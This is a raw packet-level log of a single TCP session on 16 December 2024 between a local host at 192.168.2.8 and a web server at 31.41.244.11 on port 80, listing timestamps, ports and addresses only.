Dec 16, 2024 17:02:22.292457104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.292557955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.292620897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.299685955 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.299702883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.299762964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.306117058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.306260109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.306318998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.345006943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.345062971 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.418426037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.418442965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.418505907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.421022892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.421139956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.421339035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.425235987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.425298929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.425364017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.430176020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.430241108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.430387020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.430444956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.435534000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.435578108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.435777903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.435823917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.440475941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.440524101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.440685034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.440730095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.445183992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.445234060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.445336103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.445401907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.450303078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.450347900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.450392962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.450452089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.454463005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.454550028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.454560995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.454616070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.458657980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.458734989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.458770990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.458806038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.463181019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.463231087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.463274956 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.463330030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.467688084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.467732906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.467765093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.467808962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.473023891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.473087072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.473207951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.473274946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.477067947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.477128983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.477154016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.477201939 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.481365919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.481522083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.481566906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.485421896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.485510111 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.485541105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.485589981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.489476919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.489541054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.489622116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.489665031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.493766069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.493856907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.493912935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.497653961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.498034954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.498104095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.886850119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.886929035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.887470007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.887486935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.887558937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.887665033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.887943983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.887960911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.887996912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.888010979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.890136957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.890201092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.890326977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.890377045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.893476963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.893537045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.893560886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.893610001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.896930933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.897001982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.897083998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.897130966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.900388002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.900479078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.900523901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.900549889 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.903805971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.903861046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.904190063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.904237986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.907079935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.907140017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.907331944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.907382965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.910974026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.911055088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.911103964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.911150932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.914398909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.914453030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.914568901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.914618015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.918236971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.918256044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.918303967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.921830893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.921921968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.921945095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.921989918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.928255081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.928272009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.928325891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.929285049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.929344893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.929430962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.929478884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.933126926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.933188915 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.933305025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.933352947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.937005043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.937067032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.937098026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.937141895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.940776110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.940831900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.940921068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.940970898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.946695089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.946712017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.946763039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.950170994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.950227976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.950508118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.950562000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.952239990 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.952292919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.952404022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.952455044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.956144094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.956203938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.956259012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.956309080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.960072041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.960160017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.960201025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.960258961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.963781118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.963835001 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.963929892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.963977098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.967792988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.967848063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.967976093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.968024015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.971535921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.971597910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.971605062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.971651077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.975275040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.975327015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.975398064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.975440979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.979192019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.979248047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.979357958 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.979412079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.983000994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.983057022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.983110905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.983158112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.987056017 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.987112045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.987159967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.987206936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.990871906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.990931988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.990962982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.991008043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.994566917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.994625092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.994683981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.994730949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.998286009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.998343945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.998430014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.998477936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.002123117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.002196074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.002238035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.002285004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.006124973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.006216049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.006314039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.006366014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.009752989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.009835958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.009877920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.009932041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.013693094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.013770103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.015505075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.015566111 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.017458916 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.017513990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.017556906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.017606974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.021182060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.021275043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.023371935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.023427010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.023580074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.023642063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.027076960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.027131081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.027252913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.027298927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.030782938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.030833960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.030910015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.030956030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.034693003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.034744978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.034746885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.034796953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.038451910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.038518906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.038558006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.038603067 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.042344093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.042392969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.042458057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.042507887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.046217918 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.046269894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.046340942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.046386957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.049943924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.050023079 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.050077915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.050148964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.053817987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.053875923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.053930044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.059617996 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.059698105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.059776068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.059835911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.063328028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.063345909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.063388109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.063402891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.067045927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.067123890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.067200899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.067269087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.070966959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.071027040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.071130037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.071177959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.074605942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.074661016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.075010061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.075058937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.077615023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.077630997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.077666998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.077675104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.082062960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.082081079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.082124949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.082169056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.083785057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.083868980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.083904028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.083950996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.087091923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.087152958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.087208033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.087258101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.090240002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.090301037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.090348959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.090395927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.093576908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.093648911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.098745108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.098761082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.098818064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.099885941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.099946976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.100050926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.100100040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.103142023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.103230953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.103454113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.103508949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.106028080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.106079102 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.106203079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.106323957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.109205008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.109220982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.109258890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.109277964 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.112638950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.112696886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.112808943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.112859011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.115405083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.115516901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.115566015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.115616083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.117590904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.117666006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.117762089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.117814064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.120306015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.120352983 CET	49712	80	192.168.2.8	31.41.244.11
